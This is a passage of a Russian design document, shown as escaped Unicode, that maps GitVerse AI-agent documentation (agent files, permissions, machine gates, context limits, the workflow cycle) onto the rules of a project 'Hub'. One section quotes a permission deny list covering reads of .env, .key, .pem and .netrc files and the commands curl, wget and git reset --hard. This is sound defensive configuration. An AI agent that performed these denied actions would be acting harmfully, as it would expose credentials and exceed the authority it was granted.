\u0425\u0430\u0431\u0430,\\n\u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b. \u0424\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0438 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438\\n\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md);\\n\u0433\u0440\u0430\u043d\u0438\u0446\u044b `GC-26` \u0438 `GC-28` \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-3`, `SF-4` \u0438 `SK-10`.\\n\\n## GC-7\u2026GC-10. \u0420\u043e\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0430\u043c\u0438\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u0410\u0433\u0435\u043d\u0442\u044b \u0438 \u0441\u0443\u0431\u0430\u0433\u0435\u043d\u0442\u044b\u00bb](https://gitverse.ru/docs/ai/ai-development/agents):\\n\\n> \u0410\u0433\u0435\u043d\u0442\u044b \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f markdown-\u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0432 \u043f\u0430\u043f\u043a\u0435 .opencode/agent \u0432\u0430\u0448\u0435\u0433\u043e\\n> \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n\\n\u041f\u043e\u043b\u044f \u0431\u043b\u043e\u043a\u0430 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 `description`, `mode` (`primary` / `subagent` /\\n`all`), `permission`, `temperature`, `steps`. \u041f\u0440\u043e \u043f\u0440\u0430\u0432\u0430:\\n\\n> \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f permission \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c: edit \u2014 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\\n> \u0444\u0430\u0439\u043b\u043e\u0432, bash \u2014 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, read \u2014 \u0447\u0442\u0435\u043d\u0438\u0435, webfetch \u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446.\\n> \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0438\u043c \u0441\u043b\u043e\u0432\u043e\u043c \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u043b\u0438\u0431\u043e \u043a\u0430\u0440\u0442\u043e\u0439\\n> \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u0433\u0434\u0435 \u0431\u043e\u043b\u0435\u0435 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0432\u0430\u0436\u043d\u0435\u0435 \u043e\u0431\u0449\u0435\u0433\u043e.\\n\\n\u041f\u0440\u043e `steps`:\\n\\n> \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u044c\\n> \u0442\u0435\u043a\u0441\u0442\u043e\u043c.\\n\\n\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0430\u0433\u0435\u043d\u0442\u044b \u2014 `Build` (\u0447\u0438\u0442\u0430\u0435\u0442 \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043a\u043e\u043c\u043c\u0438\u0442\u044b) \u0438 `Plan` (\u0447\u0438\u0442\u0430\u0435\u0442 \u0438 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442, \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0435\\n\u043c\u0435\u043d\u044f\u0435\u0442); \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0441\u0443\u0431\u0430\u0433\u0435\u043d\u0442\u044b \u2014 `explore` (\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435) \u0438 `general`.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u00ab\u0410\u043a\u0442\u043e\u0440\u00bb \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435 \u0432\u043e\u043f\u043b\u043e\u0449\u0435\u043d\u0438\u0435:\\n\u0440\u043e\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u2014 \u044d\u0442\u043e \u0444\u0430\u0439\u043b \u0430\u0433\u0435\u043d\u0442\u0430 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0441\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0432\\n\u0442\u0435\u043a\u0441\u0442\u0435. \u0417\u0430\u043f\u0440\u0435\u0442 \u043d\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0443 \u0440\u0435\u0432\u044c\u044e\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u0440\u043e\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c \u0441\u0440\u0435\u0434\u043e\u0439\\n(`permission.edit: deny`), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 `check` \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c\\n\u0430\u0433\u0435\u043d\u0442\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u00ab\u043f\u043e\u0447\u0438\u043d\u0438\u0442\u044c\u00bb \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432\u043c\u0435\u0441\u0442\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043e\\n\u043d\u0451\u043c \u0441\u043e\u043e\u0431\u0449\u0438\u0442\u044c.\\n\\n## GC-11\u2026GC-13. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c \u0432 \u0441\u0440\u0435\u0434\u0435\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438 MCP\u00bb](https://gitverse.ru/docs/ai/ai-development/tools)\\n\u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u0430\u0433\u0435\u043d\u0442\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f:\\n\\n> \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438: \u0441\u0431\u043e\u0440\u043a\u0430, \u0442\u0435\u0441\u0442\u044b, \u043b\u0438\u043d\u0442\u0435\u0440\u044b, \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 Git.\\n\\n\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043f\u0440\u0430\u0432 \u043d\u0430\u0437\u0432\u0430\u043d\u044b \u044f\u0432\u043d\u043e:\\n\\n> \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c\u0438: .env \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u043e\u0442 \u043d\u0435\u0433\u043e, .key, .pem, .netrc;\\n> \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e .git; \u043a\u043e\u043c\u0430\u043d\u0434\u044b curl,\\n> wget, git merge \u0438 git reset --hard.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0441\u043f\u043e\u0441\u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u0441\u0440\u0435\u0434\u0435\\n\u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d\u00bb \u0437\u0430\u043a\u0440\u044b\u0442 \u0432 \u0447\u0430\u0441\u0442\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 `G-mach`: \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440, \u043b\u0438\u043d\u0442\u0435\u0440 \u0438 \u0442\u0435\u0441\u0442 \u2014\\n\u044d\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0430 \u0441\u0440\u0435\u0434\u0430 \u0434\u0430\u0451\u0442 \u043f\u0440\u0430\u0432\u043e \u0435\u0451 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c. \u041e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f **\u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u0430** \u0437\u0430\u0432\u0438\u0441\u0435\u0442\u044c \u043e\u0442 `curl` \u0438\u043b\u0438\\n`wget`, \u0438\u043d\u0430\u0447\u0435 \u0435\u0451 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f \u0432 \u0441\u0440\u0435\u0434\u0435. \u0421\u0431\u043e\u0440 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\\n\u0438\u0434\u0451\u0442 \u043b\u0438\u0431\u043e \u0447\u0435\u0440\u0435\u0437 `webfetch`-\u043f\u0440\u0430\u0432\u043e \u0430\u0433\u0435\u043d\u0442\u0430, \u043b\u0438\u0431\u043e \u0447\u0435\u0440\u0435\u0437 MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.\\n\\n## GC-14\u2026GC-15. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0425\u0430\u0431\u0430\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u0426\u0438\u043a\u043b \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0430\u0433\u0435\u043d\u0442\u043e\u043c\u00bb](https://gitverse.ru/docs/ai/ai-development/workflow)\\n\u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 (\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u2192 \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u2192 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u2192 \u041f\u043b\u0430\u043d \u2192 \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435) \u0438\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e. \u0414\u0432\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443:\\n\\n> \u043a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u0441\u0442\u0440\u043e\u043a\u043e\u0439\\n\\n> \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043b\u043e\u0432\u0430\u043c\u0438\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u00ab\u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043f\u0440\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u00bb \u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u00ab\u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442\\n\u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0432\u044b\u0432\u043e\u0434 \u043a\u043e\u043c\u0430\u043d\u0434\u044b\u00bb \u2014 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0438\u0435 \u0425\u0430\u0431\u0430, \u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0441 \u043d\u043e\u0440\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u044b.\\n\u042d\u0442\u043e \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u0434\u0435\u043b\u044c\u0442\u044b: \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0441\u0440\u0435\u0434\u0430 \u0443\u0436\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442, \u043d\u0435 \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f\\n\u043d\u0430\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e.\\n\\n## GC-16\u2026GC-18. \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u043e\u0440\u043c\u0430 \u0436\u0438\u0432\u0451\u0442 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u00bb](https://gitverse.ru/docs/ai/ai-development/context):\\n\\n> \u041a\u043e\u0433\u0434\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0431\u043b\u0438\u0437\u043e\u043a \u043a \u043f\u0440\u0435\u0434\u0435\u043b\u0443, \u0434\u0438\u0430\u043b\u043e\u0433 \u0441\u0436\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 <\u2026> \u043f\u043e\u0441\u043b\u0435\\n> \u0441\u0436\u0430\u0442\u0438\u044f \u0430\u0433\u0435\u043d\u0442 \u043f\u043e\u043c\u043d\u0438\u0442 \u0432\u044b\u0432\u043e\u0434\u044b, \u043d\u043e \u043d\u0435 \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443. \u0414\u043e\u0433\u043e\u0432\u043e\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c,\\n> \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430\u044f \u043e\u0434\u0438\u043d \u0440\u0430\u0437 \u0438 \u043c\u0438\u043c\u043e\u0445\u043e\u0434\u043e\u043c, \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u043f\u0435\u0440\u0435\u0436\u0438\u0442\u044c \u0441\u0436\u0430\u0442\u0438\u0435. \u0415\u0441\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\\n> \u0432\u0430\u0436\u043d\u043e \u2014 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0439\u0442\u0435 \u0435\u0433\u043e \u0432 \u0444\u0430\u0439\u043b\u0435.\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u00bb](https://gitverse.ru/docs/ai/ai-development/repository-setup)\\n\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e `AGENTS.md` \u0432 \u043a\u043e\u0440\u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435\\n\u0430\u0433\u0435\u043d\u0442\u0430 \u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043d\u0451\u043c \u0434\u043e\u043b\u0436\u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e\\n\u0442\u043e, \u043e \u0447\u0451\u043c \u0430\u0433\u0435\u043d\u0442 \u043e\u0448\u0438\u0431\u0451\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u0421\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 (`GC-6`) \u2014 \u043d\u0435 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e, \u0430\\n\u0431\u044e\u0434\u0436\u0435\u0442: \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0442\u043e\u044f\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0430\u0432\u044b\u043a\u0430\\n\u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0432\u044b\u043a \u043f\u043e\u0434\u043e\u0448\u0451\u043b. \u042d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u0435\u0439:\\n`L0`\u2013`L2` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0430\u0432\u044b\u043a `L3` \u2014\\n\u0435\u0434\u0438\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0440\u0435\u0434\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043f\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0438 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0437\u0430\u0434\u0430\u0447\u0435\u0439.\\n\\n## GC-19\u2026GC-24. \u0417\u0430\u0434\u0430\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0438 \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n\\n\u041e\u0431\u0437\u043e\u0440\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\\n[\u00abAI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043d\u0430 GitVerse\u00bb](https://gitverse.ru/docs/ai/ai-development)\\n\u043e\u0447\u0435\u0440\u0447\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438:\\n\\n> \u0425\u043e\u0440\u043e\u0448\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043c, \u0433\u0434\u0435 \u0437\u0430\u0434\u0430\u0447\u0443 \u043c\u043e\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n> \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043d\u043e.\\n\\n\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435\u0443\u0434\u0430\u0447:\\n\\n> \u0412\u0441\u0435, \u0447\u0435\u0433\u043e \u043e\u043d \u043d\u0435 \u0437\u043d\u0430\u0435\u0442 \u0438 \u043e \u0447\u0435\u043c \u043d\u0435 \u0441\u043f\u0440\u043e\u0441\u0438\u043b, \u043e\u043d \u0434\u043e\u0434\u0443\u043c\u0430\u0435\u0442 \u2014 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0443\\n> \u0442\u0430\u043a, \u0431\u0443\u0434\u0442\u043e \u044d\u0442\u043e \u0444\u0430\u043a\u0442.\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00abGigaCode \u043d\u0430 GitVerse\u00bb](https://gitverse.ru/docs/ai/gigacode-on-gitverse)\\n\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 GigaCode-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043a\u0430\u043a \u00abAI-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0437\u0430\u0434\u0430\u0447\u00bb, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u00ab\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u0438\u043b\u0438 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435\u00bb. \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430\\n[GitVerse MCP tools](https://gitverse.ru/docs/ai/mcp/gitverse-mcp-tools)\\n\u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 42 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 `issue_read`, `issue_write`,\\n`add_issue_comment`, `list_pull_request_files`, `get_job_logs`,\\n`get_job_failure_context`.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f 